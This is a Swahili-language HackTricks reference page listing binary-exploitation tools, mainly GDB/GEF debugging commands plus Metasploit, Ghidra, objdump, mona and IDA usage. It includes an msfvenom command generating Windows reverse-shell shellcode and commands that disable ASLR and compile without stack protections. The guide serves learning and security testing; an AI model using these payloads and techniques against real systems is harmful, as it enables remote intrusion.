hacktricks/binary-exploitation/basic-binary-exploitation-methodology/tools/README.md

# Zana za Kudukua

<details>

<summary><strong>Jifunze kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>

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* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.

</details>

## Metasploit
```bash
pattern_create.rb -l 3000   #Length
pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
nasm_shell.rb
nasm> jmp esp   #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
### Shellcodes

{% code overflow="wrap" %}
```bash
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
## GDB

### Sakinisha
```bash
apt-get install gdb
```
### Vigezo
```bash
-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process
```
### Maelekezo
```bash
run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit

# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process

# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes

# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate

# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP
```
### [GEF](https://github.com/hugsy/gef)

Unaweza hiari kutumia [**hii fork ya GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) ambayo ina maelekezo zaidi ya kuvutia.
```bash
help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table

# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61

#Dump memory to file
dump binary memory /tmp/dump.bin 0x200000000 0x20000c350

#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤  i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤  pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
```
### Mbinu

#### Anwani sawa za GDB

Wakati wa kudebug GDB itakuwa na **anwani kidogo tofauti na zile zinazotumiwa na binary inapotekelezwa.** Unaweza kufanya GDB iwe na anwani sawa kwa kufanya yafuatayo:

* `unset env LINES`
* `unset env COLUMNS`
* `set env _=<njia>` _Weka njia kamili ya binary_
* Tumia exploit kwenye binary ukitumia njia kamili ile ile
* `PWD` na `OLDPWD` lazima ziwe sawa unapotumia GDB na unapokuwa unatumia exploit kwenye binary

#### Kufuatilia nyuma ili kupata kazi zilizoitwa

Ukiwa na **binary iliyolinkwa kistatiki** kazi zote zitakuwa sehemu ya binary (na sio maktaba za nje). Katika kesi hii itakuwa ngumu **kutambua mwendelezo ambao binary inafuata kwa mfano kuomba mwingiliano wa mtumiaji**.\
Unaweza kutambua mwendelezo huu kwa urahisi kwa **kutekeleza** binary na **gdb** hadi utakapoombwa mwingiliano. Kisha, isimamishe kwa kubonyeza **CTRL+C** na tumia amri ya **`bt`** (**backtrace**) kuona kazi zilizoitwa:
```
gef➤  bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()
```
### Server ya GDB

`gdbserver --multi 0.0.0.0:23947` (katika IDA unahitaji kujaza njia kamili ya faili ya kutekelezwa kwenye mashine ya Linux na kwenye mashine ya Windows)

## Ghidra

### Pata offset ya stack

**Ghidra** ni muhimu sana kwa kupata **offset** kwa **kuzidi kwa kibufa kutokana na habari kuhusu nafasi ya variables za ndani.**\
Kwa mfano, katika mfano hapa chini, kuzidi kwa kibufa katika `local_bc` inaonyesha kwamba unahitaji offset ya `0xbc`. Zaidi ya hayo, ikiwa `local_10` ni kuki ya canary inaonyesha kwamba kuiandika upya kutoka `local_bc` kuna offset ya `0xac`.\
_Kumbuka kwamba 0x08 ya kwanza ambapo RIP inahifadhiwa inamilikiwa na RBP._

![](<../../../.gitbook/assets/image (1058).png>)

## qtool
```bash
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
```
Pata kila opcode inayotekelezwa katika programu.

## GCC

**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Kupachika bila ulinzi\
**-o** --> Matokeo\
**-g** --> Hifadhi kanuni (GDB itaweza kuiona)\
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Kulemaza ASLR katika linux

**Kupachika shellcode:**\
**nasm -f elf assembly.asm** --> rudisha ".o"\
**ld assembly.o -o shellcodeout** --> Inatekelezeka

## Objdump

**-d** --> **Disassemble sehemu** za utekelezaji (angalia opcodes ya shellcode iliyopachikwa, pata ROP Gadgets, pata anwani ya kazi...)\
**-Mintel** --> Sintaksia ya **Intel**\
**-t** --> Jedwali la **alama**\
**-D** --> **Disassemble zote** (anwani ya kipengee tuli)\
**-s -j .dtors** --> sehemu ya dtors\
**-s -j .got** --> sehemu ya got\
\-D -s -j .plt --> sehemu ya **plt** **iliyopachikwa**\
**-TR** --> **Uhamishaji**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Anwani ya "puts" ya kurekebisha katika GOT\
**objdump -D ./exec | grep "VAR\_NAME"** --> Anwani au kipengee tuli (hizi huhifadhiwa katika sehemu ya DATA).

## Core dumps

1. Tekeleza `ulimit -c unlimited` kabla ya kuanza programu yangu
2. Tekeleza `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. sudo gdb --core=\<path/core> --quiet

## Zaidi

**ldd executable | grep libc.so.6** --> Anwani (ikiwa na ASLR, basi hii hubadilika kila wakati)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Mzunguko wa kuona ikiwa anwani inabadilika sana\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Kielezo cha "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Kielezo cha "/bin/sh"

**strace executable** --> Kazi zilizoitwa na utekelezaji\
**rabin2 -i ejecutable -->** Anwani ya kila kazi

## **Inmunity debugger**
```bash
!mona modules    #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll   #Search for opcodes insie dll space (JMP ESP)
```
## IDA

### Kudebugi kwa mbali kwenye linux

Ndani ya folda ya IDA unaweza kupata binaries ambazo zinaweza kutumika kudebugi binary kwenye linux. Ili kufanya hivyo hamisha binary `linux_server` au `linux_server64` ndani ya server ya linux na iendeshe ndani ya folda inayohifadhi binary hiyo:
```
./linux_server64 -Ppass
```
Kisha, sanidi kielekezi cha kurekebisha makosa: Kielekezi (mbali ya linux) --> Chaguo la Mchakato...:

![](<../../../.gitbook/assets/image (855).png>)

<details>

<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>

Njia nyingine za kusaidia HackTricks:

* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.

</details>